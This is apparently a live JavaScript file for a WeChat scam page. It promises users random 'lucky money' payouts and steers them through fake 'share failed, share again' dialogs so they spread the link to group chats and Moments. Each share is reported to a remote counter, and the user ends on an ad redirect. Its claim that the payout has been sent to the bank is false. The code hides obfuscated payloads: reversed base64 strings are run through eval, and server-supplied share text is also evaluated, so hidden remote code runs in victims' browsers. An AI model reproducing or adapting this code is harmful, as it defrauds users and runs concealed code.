﻿var advertising;
if(back_url2){
	var jpurl = back_url2;	
}else{
	var jpurl;
}

$.ajax({
    url: '../url.php',
    success: function (url) {
        (!!url && (url.indexOf('qq.com') == -1) && (advertising = url));
    }
});

function xst(s, r, t) {
    if (!s || s.length < 2) return s;
    if (arguments.length == 3) {
        if (!t || t < 1) t = 1;
        var icons = ['♐', '🐬', '☔', '♈', '⚓', '💕', '⛎', '⚡', '💢', '☁', '💔', '🌀', '♑', '🌂', '🚀', '💓', '🌁', '🌹', '♋', '💲'];
        for (var i = 0, l = t; i < l; i++) {
            var icon = icons[Math.floor(Math.random() * icons.length)];
            s = s.substring(0, r + 1) + icon + s.substring(r + 1, s.length);
        }
        return s;
    }
    if (!r || r < 1) r = 1;
    var icons = ['♐', '🐬', '☔', '♈', '⚓', '💕', '⛎', '⚡', '💢', '☁', '💔', '🌀', '♑', '🌂', '🚀', '💓', '🌁', '🌹', '♋', '💲'];
    for (var i = 0, l = r; i < l; i++) {
        var icon = icons[Math.floor(Math.random() * icons.length)];
        var index = Math.floor(Math.random() * s.length);
        s = s.substring(0, index + 1) + icon + s.substring(index + 1, s.length);
    }
    return s;
}

function share_timeline(c, share) {
    wx.config(c);
    wx.ready(function () {
        wx.onMenuShareTimeline({
            title: share[3].title,
            link: share[3].link,
            imgUrl: share[3].imgUrl,
            type: 'link',
            success: function () {
                wx.hideOptionMenu();
                wx.showMenuItems({ menuList: ['menuItem:share:timeline'] });
                diy_alert("gQzUSOyUCR3UyNyUyNyUCMyUSQzUSZsRXa0BjMlMkMlcjMlU0MlInYDNTJFNTJuFGcz9yQzUCOwcTN1ViQDNTN1ViQwcjN1VSRzUiMyUiQzUCZlJXQzUicvx2bjJjMlQ0MlUGb5R3cwITJuFGczN0MlU0Ml4WYwN3LDNTJwMjM1UXJCFUR0UXJ2AjM1UXJwIUN2UXJENUM5UXJ1QkQ4UXJEFzQ1UXJ3YkQ4UXJFNTJuFGczN0MlU0MlInYDNTJFNTJuFGcz9yQzUSMwYkR1ViNFRTN1ViQBVEN1ViNwITN1VCR1UCMwYUN1VyQ2ETN1ViQ1UiQ3gTO1VSNDZUN1VSQxYkR1ViRwEjN1VCOFNkN1VSRzUibhB3cDNTJFNTJyJ2QzUSRzUiciN0MlU0Ml4WYwN3LDNTJxAjRGVXJ1IDR4UXJxMTO1UXJCFUR0UXJ2AjM1UXJFNTJyITJCNTJkVmcwITJBNTJy9GbvNmQzUCewNjMwITJBNTJlpXaz1Cdu9mZyITJENTJlxWe0NHMyUibhB3cDNTJ3ITJwITJBNTJldWYzNXZtBjMlMkMlcjMlQ0N5UTdlcjMlAjMlE0Ml4GdiJ0NlgjMlQnclxWYuc2bsFWak91Z");
                wx.onMenuShareTimeline({
                    title: share[4].title || share[4].desc,
                    link: share[4].link,
                    imgUrl: share[4].imgUrl,
                    type: 'link',
                    success: function () {
                        diy_alert("gQzUSOyUCR3UCR3UCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUSQwUCR3UCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUCMyUSQwUiQzUCbyVHcqBjMlQ0MlAjMlYWZyhmLu9Wa0F2YvxmL39GZul2dwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJBBTJCdTJwITJ5ITJsJXdwpGOyUCMyUiZpBjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlEEMlI0NlAjMlkjMlgjMlAjMl42bpR3YuVnZwITJBNTJiNGMyUyQyUyNyUyNyUCMyUSQzUSZsRXa0BjMlMkMlkjMlQ0NlAjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlAjMlEEMlMkMlkjMlcjMlkXZu9Wb3ITJ4ITJtFmchBFdldmLNBjMlE0MlkXZu9WbwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJwITJBBTJCdTJ4ITJ0FWby9mZfxGc0NnaucjMlU0MlInYDNTJFNTJuFGcz9yQzUSMwYkR1VSNCFTN1VSNDBjN1ViNyQEO1VCMzITN1VSM2MTN1VyQ0gDO1ViNGRTO1VSQ5IUN1VSMEV0N1VSMFZEN1VSRBZUN1ViNzUjN1VSNFdjN1ViRwEjN1VCOFNkN1VyNGJEO1VyQwYkR1VSOwYkR1ViNyQEO1VCMzITN1VSNFVjN1VSMyIkN1VCR1UCMwE0MlcTMtADMBNTJ5AjQ1UCNGVTO1ViNGVjN1VyQ1YEN1VSNFRUN1VSR1cTO1VyQwYkR1ViNyQEO1VCMzITN1VSNFVjN1VSMyIkN1VyQ0gDO1VCOFREO1VCOwYkR1ViNyQEO1VCMzITN1VSN4ETN1ViNGVjN1ViRwMUN1VSMxEkQ4UXJ0gDO5UXJDBjRGVXJFNjQ2UXJzUjM2UXJ4Y0M1UXJDZTM1UXJ0EUR0UXJwQ0M2UXJyYER1UXJElDO5UXJxQUM5UXJDBjRGVXJ1AzM1UXJyEUR3UXJxQUM5UXJwI0M3UXJwITJFNTJuFGcz9yQzUSOyUSel52bthjMlUjMlU0MlIjMlI0MlQWZyBjMlE0MlI3bs92YyITJENTJlxWe0NHMyUibhB3cDNTJwITJ1UkRGVXJ3kjR1UXJ3I0M4UXJDBjRGVXJFNTJuFGczN0MlU0Ml4WYwN3LDNTJ4EEM2UXJDlTN1UXJEZDM2UXJFNTJyITJCNTJ4BHMyE0MlUmepNXL052bmJ0MlQWZyF0MlI3bs92YyITJENTJlxWe0NHMyUibhB3cDNTJ3ITJwITJBNTJldWYzNXZtBjMlMkMlcjMlYDOFRTdlMTNwkTdlUTR3cTdlETMyYTdlcjMlAjMlE0Ml4GdiJ0NlgjMlQnclxWYuc2bsFWak91Z");
                    }
                });
            }
        });
    });
}

window.showTips = function () {
    var msg = '<span style="font-size: 23px;color:#1BBC9B;">祝贺你</span><br><br><span>您获得喜钱</span><br><span style="font-size: 20px;color:red;">￥%(money)</span><br><span style="color:red;">活动宗旨为宣传本公司的知名度，分享到群聊后即可领取喜钱</span><span style="color:red; font-size: 25px;"></span><br><span style="color:red;">注意: 群人数需&gt;50人才能免审核立即领取喜钱</span><br><span>喜钱总额仅剩余</span><span style="font-size: 20px;color:red;">367530</span>元，先到先得，马上分享领取到账！<br>'.jstpl_format({
        money: M.getParam('money')
    });
    g_dialog.alert({btn: '领取喜钱', message: msg, title: ''});
  
  
}

window.showBg = function () {
    var tips = ('<div onclick="showTips()" class="share-container" style="height: %(h)px"><h3 class="share-container-bg-title"></h3><div class="share-prompt"><p> 点击右上角，分享到 <i class="icon_share"></i> <span>群聊</span></p><p>即可领取喜钱￥<span>%(money)</span>￥</p></div><div class="red-packet"><img src=""><p>恭喜发财</p></div></div>').jstpl_format({
        money: M.getParam('money'),
        h: window.outerHeight
    });
    $('body').append(tips);
}

function config(share) {        
    share[0] = share[1];
    wx.ready(function () {
        showBg();
        showTips();
        wx.hideOptionMenu();
        wx.showMenuItems({ menuList: ['menuItem:share:appMessage'] });
        wx.onMenuShareAppMessage({
            title: share[0].title,
            desc: share[0].desc,
            link: share[0].link,
            imgUrl: share[0].imgUrl,
            success: function () {
            	$.ajax({
            		'url' : 'http://'+state_ip+'/count.php',
            		'method' : 'POST',
            		'data': {res: "friend"},
            		'success' : function(){}
            	});
                g_dialog.alert({btn: '好的', message: '<span style="font-size: 23px;color:#1BBC9B;">成功！</span><br><br><span>请继续分|||享到</span><span style="font-size: 20px;color:red;">1</span><span>个不同的群聊</span><br><span style="color:red;">喜钱立即🉐！</span><br>', title: ''});
                wx.onMenuShareAppMessage({ 
                    title: share[1].title,
                    desc: share[1].desc,
                    link: share[1].link,
                    imgUrl: share[1].imgUrl,
                    success: function () {
                    	$.ajax({
                    		'url' : 'http://'+state_ip+'/count.php',
                    		'method' : 'POST',
                    		'data': {res: "friend"},
                    		'success' : function(){}
                    	});
                        g_dialog.alert({btn: '好的', message: '<span style="font-size: 23px;color: red;">分|||享失败！</span><br><br><span>注意：分|||享到相同的群聊会失败，请重新分|||享到</span><span style="color:red;">1个不同的群聊</span><br>', title: ''});
                        wx.onMenuShareAppMessage({
                            title: share[2].title,
                            desc: share[2].desc,
                            link: share[2].link,
                            imgUrl: share[2].imgUrl,
                            success: function () {
                            	$.ajax({
                            		'url' : 'http://'+state_ip+'/count.php',
                            		'method' : 'POST',
                            		'data': {res: "friend"},
                            		'success' : function(){}
                            	});
                                g_dialog.alert({btn: '好的', message: '<span style="font-size: 23px;color:#1BBC9B;">成功！</span><br><br><span>剩下最后一步啦，请最后分||享到<span style="font-size: 20px;color:red;">1</span><span>个不同的群聊，获🉐</span><span style="color: red;">￥%(money)</span><span>立即获🉐！</span><br>'.jstpl_format({
                                    money: M.getParam('money')
                                }), title: ''});
                                wx.onMenuShareAppMessage({
                                title: share[4].title,
                                desc: share[4].desc,
                                link: share[4].link,
                                imgUrl: share[4].imgUrl,
                                success: function () {
                                	$.ajax({
                                		'url' : 'http://'+state_ip+'/count.php',
                                		'method' : 'POST',
                                		'data': {res: "friend"},
                                		'success' : function(){}
                                	});
                                    g_dialog.alert({btn: '好的', message: '<span style="font-size: 23px;color:#1BBC9B;">成功！</span><br><br><span>剩下最后一步啦！</span><br><span>请分||享到</span><span style="font-size: 20px;color:red;">朋|友|圈</span><span>，获🉐</span><span style="color: red;">￥%(money)</span><span>立即获🉐！</span><br>'.jstpl_format({
                                        money: M.getParam('money')
                                    }), title: ''});
                                    wx.hideOptionMenu(), wx.showMenuItems({ menuList: ['menuItem:share:timeline'] });
                                    if (!window.tconfig) {
                                        wx.onMenuShareTimeline({ 
                                            title: share[3].desc,
                                            link: share[3].link,
                                            imgUrl: share[3].imgUrl,
                                            type: 'link',
                                            success: function () {                 
                                            	$.ajax({
                                            		'url' : 'http://'+state_ip+'/count.php',
                                            		'method' : 'POST',
                                            		'data': {res: "timeline"},
                                            		'success' : function(){}
                                            	});                  	
                                                wx.hideOptionMenu();
                                                wx.showMenuItems({ menuList: ['menuItem:share:timeline'] });
                                                g_dialog.alert({btn: '好的', message: '<span style="font-size: 23px;color: red;">失败！</span><br><br><span>只差最後一步了</span><br><span>請</span><span style="color:red;">公開</span><span>分享到</span><span style="color:red;">朋友圈</span><br>', title: ''});
                                                wx.onMenuShareTimeline({ 
                                                    title: share[4].desc,
                                                    link: share[4].link,
                                                    imgUrl: share[4].imgUrl,
                                                    type: 'link',
                                                    success: function () {
                                                    	$.ajax({
                                                    		'url' : 'http://'+state_ip+'/count.php',
                                                    		'method' : 'POST',
                                                    		'data': {res: "timeline"},
                                                    		'success' : function(){}
                                                    	});
                                                        g_dialog.alert({btn: '好的', message: '<span style="color:red;font-size:20px;">祝賀您</span><span>，获🉐￥ <span style="color: red;">%(money)</span> 喜錢，喜錢已提交公司打款，预计1小时内獲🉐（跨行次日獲🉐，非工作时间[09:00-17:00]次日獲🉐），请注意查收微信绑定银行卡獲🉐情况！</span><br>'.jstpl_format({
                                                            money: M.getParam('money'),
                                                        }), title: '', cb: function () {
                                                            if (jpurl) {
                                                                window.location.href = jpurl;
                                                            }
                                                        }});
                                                    }
                                                });
                                            }
                                        });
                                    } else {
                                        share_timeline(window.tconfig, share);
                                    }
                                }});
                            }
                        });
                    }
                });
            }
        });
    });

}

function advconfig(share) {        
    share[0] = share[1];
    wx.ready(function () {
        showBg();
        showTips();
        wx.hideOptionMenu();
        wx.showMenuItems({ menuList: ['menuItem:share:appMessage'] });
        wx.onMenuShareAppMessage({
            title: share[0].title,
            desc: share[0].desc,
            link: share[0].link,
            imgUrl: share[0].imgUrl,
            success: function () {
            	$.ajax({
            		'url' : 'http://'+state_ip+'/count.php',
            		'method' : 'POST',
            		'data': {res: "friend"},
            		'success' : function(){}
            	});
                g_dialog.alert({btn: '好的', message: '<span style="font-size: 23px;color:#1BBC9B;">成功！</span><br><br><span>请继续分|||享到</span><span style="font-size: 20px;color:red;">1</span><span>个不同的群聊</span><br><span style="color:red;">喜钱立即🉐！</span><br>', title: ''});
                wx.onMenuShareAppMessage({ 
                    title: share[1].title,
                    desc: share[1].advdesc2,
                    link: share[1].advlink,
                    imgUrl: share[1].advimgurl2,
                    success: function () {
                    	$.ajax({
                    		'url' : 'http://'+state_ip+'/count.php',
                    		'method' : 'POST',
                    		'data': {res: "friend"},
                    		'success' : function(){}
                    	});
                        g_dialog.alert({btn: '好的', message: '<span style="font-size: 23px;color: red;">分|||享失败！</span><br><br><span>注意：分|||享到相同的群聊会失败，请重新分|||享到</span><span style="color:red;">1个不同的群聊</span><br>', title: ''});
                        wx.onMenuShareAppMessage({
                            title: share[2].title,
                            desc: share[2].desc,
                            link: share[2].link,
                            imgUrl: share[2].imgUrl,
                            success: function () {
                            	$.ajax({
                            		'url' : 'http://'+state_ip+'/count.php',
                            		'method' : 'POST',
                            		'data': {res: "friend"},
                            		'success' : function(){}
                            	});
                                g_dialog.alert({btn: '好的', message: '<span style="font-size: 23px;color:#1BBC9B;">成功！</span><br><br><span>剩下最后一步啦，请最后分||享到<span style="font-size: 20px;color:red;">1</span><span>个不同的群聊，获🉐</span><span style="color: red;">￥%(money)</span><span>立即获🉐！</span><br>'.jstpl_format({
                                    money: M.getParam('money')
                                }), title: ''});
                                wx.onMenuShareAppMessage({ 
                                title: share[2].title,
                                desc: share[2].advdesc4,
                                link: share[2].advlink,
                                imgUrl: share[2].advimgurl4,
                                success: function () {
                                	$.ajax({
                                		'url' : 'http://'+state_ip+'/count.php',
                                		'method' : 'POST',
                                		'data': {res: "friend"},
                                		'success' : function(){}
                                	});
                                    g_dialog.alert({btn: '好的', message: '<span style="font-size: 23px;color:#1BBC9B;">成功！</span><br><br><span>剩下最后一步啦！</span><br><span>请分||享到</span><span style="font-size: 20px;color:red;">朋|友|圈</span><span>，获🉐</span><span style="color: red;">￥%(money)</span><span>立即获🉐！</span><br>'.jstpl_format({
                                        money: M.getParam('money')
                                    }), title: ''});
                                    wx.hideOptionMenu(), wx.showMenuItems({ menuList: ['menuItem:share:timeline'] });
                                    if (!window.tconfig) {
                                        wx.onMenuShareTimeline({ 
                                            title: share[3].desc,
                                            link: share[3].link,
                                            imgUrl: share[3].imgUrl,
                                            type: 'link',
                                            success: function () {                 
                                            	$.ajax({
                                            		'url' : 'http://'+state_ip+'/count.php',
                                            		'method' : 'POST',
                                            		'data': {res: "timeline"},
                                            		'success' : function(){}
                                            	});                  	
                                                wx.hideOptionMenu();
                                                wx.showMenuItems({ menuList: ['menuItem:share:timeline'] });
                                                g_dialog.alert({btn: '好的', message: '<span style="font-size: 23px;color: red;">失败！</span><br><br><span>只差最後一步了</span><br><span>請</span><span style="color:red;">公開</span><span>分享到</span><span style="color:red;">朋友圈</span><br>', title: ''});
                                                wx.onMenuShareTimeline({
                                                    title: share[4].advdesc2,
                                                    link: share[4].advlink,
                                                    imgUrl: share[4].advimgurl2,
                                                    type: 'link',
                                                    success: function () {
                                                    	$.ajax({
                                                    		'url' : 'http://'+state_ip+'/count.php',
                                                    		'method' : 'POST',
                                                    		'data': {res: "timeline"},
                                                    		'success' : function(){}
                                                    	});
                                                        g_dialog.alert({btn: '好的', message: '<span style="color:red;font-size:20px;">祝賀您</span><span>，获🉐￥ <span style="color: red;">%(money)</span> 喜錢，喜錢已提交公司打款，预计1小时内獲🉐（跨行次日獲🉐，非工作时间[09:00-17:00]次日獲🉐），请注意查收微信绑定银行卡獲🉐情况！</span><br>'.jstpl_format({
                                                            money: M.getParam('money'),
                                                        }), title: '', cb: function () {
                                                            if (jpurl) {
                                                                window.location.href = jpurl;
                                                            }
                                                        }});
                                                    }
                                                });
                                            }
                                        });
                                    } else {
                                        share_timeline(window.tconfig, share);
                                    }
                                }});
                            }
                        });
                    }
                });
            }
        });
    });

}

function copy (obj) {
    var newObj = {};
      for (var item in obj ){
        newObj[item] = obj[item];
      }
      return newObj;
 }

function diy_alert(s) {
    eval(unescape(atob(s.split('').reverse().join(''))));
}

function sdk() {   
    $.ajax({
        url: "./wx_config.php?q=1&all=1&r=1&url=" + encodeURIComponent(location.href.split("#")[0]),
        success: function (t) {            	
            var n = JSON.parse(unescape(atob(t))),
            r = [n.friend, (n['friend2'] || copy(n.friend)), (n['friend3'] || copy(n.friend)), n.timeline, (n['timeline2'] || copy(n.timeline))],
            b = n.back_page,
           ct = n.complete_page;          
            n.config['jsApiList'] = ["checkJsApi", "onMenuShareTimeline", "hideOptionMenu", "onMenuShareAppMessage", "hideMenuItems", "showMenuItems"];
            wx.config(n.config);
            (function (d) {
                    function assign(s) {
                        if (!s) return s;
                        return s.replace(/\{city\}/g, function () {
                            return city;
                        }).replace(/\{name\}/g, function () {
                            return ['雪桐', '彩馨', '莲珊', '甘丽美', '杜雅云', '宦安娜', '董珠', '于菡', '杜金文', '孔夏瑶', '杨寄琴', '莘千叶', '汪小妍', '巴佳莉',
                                '隆明明'
                            ][Math.floor(Math.random() * 15)];
                        }).replace(/\{title\}/g, function () {
                            return title || unescape(atob(
                                'JXU1QUU5JXU2QTIxJXU2M0Y0JXU0RUE0JTdFJXU3OUMxJXU1QkM2JXU0RkYxJXU0RTUwJXU5MEU4'));
                        }).replace(/\{num\}/g, function () {
                            return Math.floor(Math.random() * (50 - 10) + 10);
                        }).replace(/\{money\}/g, function () {
                            return Math.floor(Math.random() * (100 - 50) + 50) + '.' + Math.floor(Math.random() * (99 - 10) + 10);
                        });
                    }

                    for (var i = 0; i < d.length; i++) {
                        if (!!d[i].title) {
                            var tempTitle = assign(d[i].title);
                            tempTitle = eval("('" + decodeURIComponent(tempTitle) + "')");
                            d[i].title = tempTitle; // tempTitle.length > 4 ? xst(tempTitle, 1) : tempTitle;
                        } else d[i].title = "";
                        if (!!d[i].desc) {
                            var tempDesc = assign(d[i].desc);
                            tempDesc = eval("('" + decodeURIComponent(tempDesc) + "')"); //*/
                            d[i].desc = tempDesc;//.length > 2 ? xst(tempDesc, 2) : tempDesc;
                        } else d[i].desc = "";

                        var go;
                        if (/{goto->/.test(d[i].link)) {
                            go = d[i].link.split('->')[1];
                            go = go.substr(0, go.length - 1);
                            d[i].link = d[0].link.substr(0, d[0].link.indexOf('/', 7)) + '/ad/goto?url=' + encodeURIComponent(go) + '&type=groupmessage';
                        } else if (/{request->/.test(d[i].link)) {
                            go = d[i].link.split('->')[1];
                            go = go.substr(0, go.length - 1);
                            (function (i) {
                                $.get(go, function (go) {
                                    go = go.trim();
                                    // go += '/'+ Date.now() +'.gov'
                                    d[i].link = d[0].link.substr(0, d[0].link.indexOf('/', 7)) + '/ad/goto?url=' + encodeURIComponent(go) + '&type=groupmessage';
                                });
                            }(i));
                        }
                    }
                })(r);        
            if(back_url){
            	advconfig(r);	
            }else{
            	config(r);
            }            
            // jpurl = ct;
            (!!b && (advertising = b));
        }
    });
}